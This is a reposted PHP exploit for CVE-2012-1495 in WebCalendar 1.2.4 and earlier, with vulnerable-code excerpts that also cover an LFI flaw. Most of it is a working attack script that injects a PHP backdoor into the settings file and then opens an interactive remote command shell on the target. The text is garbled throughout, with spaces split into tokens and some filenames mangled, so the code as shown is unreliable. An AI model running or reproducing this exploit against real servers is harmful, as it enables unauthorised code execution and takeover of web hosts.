WebCalendar & lt; = 1.2.4 (install/index. php) Remote Code Execution defect and repair

<? Php
 
/*
-----------------------------------------------------------------------
WebCalendar <= 1.2.4 (install/index. php) Remote Code Executionn Exploit
-----------------------------------------------------------------------

Author: Egidio Romano aka EgiX www.2cto.com n0b0d13s [at] gmail [dot] com
: Https://sourceforge.net/projects/webcalendar/
 
+ ------------------------------------------------------------------------- +
| This test proves that the code is only for technical communication. |
| Use may bring risks, and the author is not responsible for this |
+ ------------------------------------------------------------------------- +

[-] Vulnerable code in/install/index. php (CVE-2012-1495)
 
674. $ y = getPostValue ('app _ settings ');
675. if (! Empty ($ y )){
676. $ settings ['single _ user_login '] = getPostValue ('form _ single_user_login ');
677. $ settings ['readonly'] = getPostValue ('form _ readonly ');
...
724. // Save settings to file now.
725. if (! Empty ($ x) |! Empty ($ y )){
726. $ fd = @ fopen ($ file, 'W + B ', false );
727. if (empty ($ fd )){
728. if (@ file_exists ($ file )){
729. $ onloadDetailStr =
730. translate ('Please change the file permissions of this file', true );
731.} else {
732. $ onloadDetailStr =
733. translate ('Please change into des dir permission ', true );
734 .}
735. $ onload = "alert ('". $ errorFileWriteStr. $ file. "\ n ".
736. $ onloadDetailStr .".');";
737.} else {
738. if (function_exists ("date_default_timezone_set "))
739. date_default_timezone_set ("America/New_York ");
740. fwrite ($ fd, "<? Php \ r \ n ");
741. fwrite ($ fd, '/* updated via install/index. php on'. date ('R'). "\ r \ n ");
742. foreach ($ settings as $ k => $ v ){
743. if ($ v! = '<Br/>' & $ v! = '')
744. fwrite ($ fd, $ k. ':'. $ v. "\ r \ n ");
745 .}

Restricted access to this script isn' t properly realized, so an attacker might be able
To update/shortdes/settings. php with arbitrary values or inject PHP code into it.

[-] Vulnerable code to LFI in/pref. php (CVE-2012-1496)

70. if (! Empty ($ _ POST) & empty ($ error )){
71. $ my_theme = '';
72. $ currenttab = getPostValue ('currenttab ');
73. save_pref ($ _ POST, 'post ');
74.
75. if (! Empty ($ my_theme )){
76. $ theme = 'themes/'. $ my_theme.' _ pref. php ';
77. include_once $ theme;
78. save_pref ($ webcal_theme, 'Theme ');
79 .}

Input passed through $ _ POST ['pref _ THEME '] isn' t properly sanitized before being assigned
To $ my_theme variable, this can be exploited to include arbitrary local files at line 77.
Exploitation of this vulnerability requires authentication and magic_quotes_gpc = off.


*/
 
Error_reporting (0 );
Set_time_limit (0 );
Ini_set ("default_socket_timeout", 5 );
 
Function http_send ($ host, $ packet)
{
If (! ($ Sock = fsockopen ($ host, 80) die ("\ n [-] No response from {$ host}: 80 \ n ");
Fwrite ($ sock, $ packet );
Return stream_get_contents ($ sock );
}
 
Print "\ n + ------------------------------------------------------------- + ";
Print "\ n | WebCalendar <= 1.2.4 Remote Code Executionn Exploit by EgiX | ";
Print "\ n + ------------------------------------------------------------- + \ n ";
 
If ($ argc <3)
{
Print "\ nUsage...: php $ argv [0] Print "\ nExample...: php $ argv [0] www.2cto.com /";
Print "\ nExample...: php $ argv [0] localhost/webcalendar/\ n ";
Die ();
}
 
List ($ host, $ path) = array ($ argv [1], $ argv [2]);
 
$ Phpcode = "*/print (____); passthru (base64_decode (\ $ _ SERVER [HTTP_CMD]); die ;";
$ Payload = "app_settings = 1 & form_user_inc = user. php & form_single_user_login = {$ phpcode }";
 
$ Packet = "POST {$ path} install/index. php HTTP/1.0 \ r \ n ";
$ Packet. = "Host: {$ host} \ r \ n ";
$ Packet. = "Content-Length:". strlen ($ payload). "\ r \ n ";
$ Packet. = "Content-Type: application/x-www-form-urlencoded \ r \ n ";
$ Packet. = "Connection: close \ r \ n {$ payload }";

Http_send ($ host, $ packet );
 
$ Packet = "GET {$ path} schemdes/settings. php HTTP/1.0 \ r \ n ";
$ Packet. = "Host: {$ host} \ r \ n ";
$ Packet. = "Cmd: % s \ r \ n ";
$ Packet. = "Connection: close \ r \ n ";
 
While (1)
{
Print "\ nwebcalendar-shell #";
If ($ cmd = trim (fgets (STDIN) = "exit") break;
$ Response = http_send ($ host, sprintf ($ packet, base64_encode ($ cmd )));
Preg_match ('/____ (. *)/s', $ response, $ m )? Print $ m [1]: die ("\ n [-] Exploit failed! \ N ");
}